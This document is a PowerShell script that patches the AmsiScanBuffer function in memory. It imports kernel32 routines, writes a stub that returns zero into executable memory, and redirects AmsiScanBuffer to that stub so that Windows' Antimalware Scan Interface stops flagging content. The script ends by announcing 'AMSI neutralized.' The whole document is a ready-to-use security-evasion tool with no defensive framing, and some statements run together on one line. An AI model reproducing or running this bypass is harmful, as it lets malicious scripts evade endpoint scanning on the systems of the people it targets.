Add-Type -TypeDefinition @" using System; using System.Runtime.InteropServices;
public class HybridBypass { [DllImport("kernel32.dll")] public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32.dll")]
public static extern IntPtr LoadLibrary(string lpFileName);
[DllImport("kernel32.dll")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, UIntPtr dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
public static extern bool FlushInstructionCache(IntPtr hProcess, IntPtr lpBaseAddress, UIntPtr dwSize);
[DllImport("kernel32.dll")]
public static extern IntPtr GetCurrentProcess();
} "@
$PAGE_EXECUTE_READWRITE = 0x40 $MEM_COMMIT = 0x1000 $MEM_RESERVE = 0x2000 $TRAMPOLINE_SIZE = 0x1000 $PATCH_SIZE = 12
$trampoline = [HybridBypass]::VirtualAlloc([IntPtr]::Zero, [UIntPtr]::op_Explicit($TRAMPOLINE_SIZE), $MEM_COMMIT -bor $MEM_RESERVE, $PAGE_EXECUTE_READWRITE) if ($trampoline -eq [IntPtr]::Zero) { Write-Error "[-] Failed to allocate memory for trampoline." return }
$payload = [byte[]](0xB8, 0x00, 0x00, 0x00, 0x00, 0xC3) [System.Runtime.InteropServices.Marshal]::Copy($payload, 0, $trampoline, $payload.Length) [HybridBypass]::FlushInstructionCache([HybridBypass]::GetCurrentProcess(), $trampoline, [UIntPtr]::op_Explicit($payload.Length)) | Out-Null
$amsi = [HybridBypass]::LoadLibrary("amsi.dll") $scan = [HybridBypass]::GetProcAddress($amsi, "AmsiScanBuffer") if ($scan -eq [IntPtr]::Zero) { Write-Error "[-] Failed to locate AmsiScanBuffer." return }
$oldProtect = 0 [HybridBypass]::VirtualProtect($scan, [UIntPtr]::op_Explicit($PATCH_SIZE), $PAGE_EXECUTE_READWRITE, [ref]$oldProtect) | Out-Null
$jmp = [byte[]](0x48, 0xB8) + [BitConverter]::GetBytes($trampoline.ToInt64()) + [byte[]](0xFF, 0xE0) [System.Runtime.InteropServices.Marshal]::Copy($jmp, 0, $scan, $jmp.Length)
Write-Host "[+] AmsiScanBuffer hooked via trampoline. AMSI neutralized."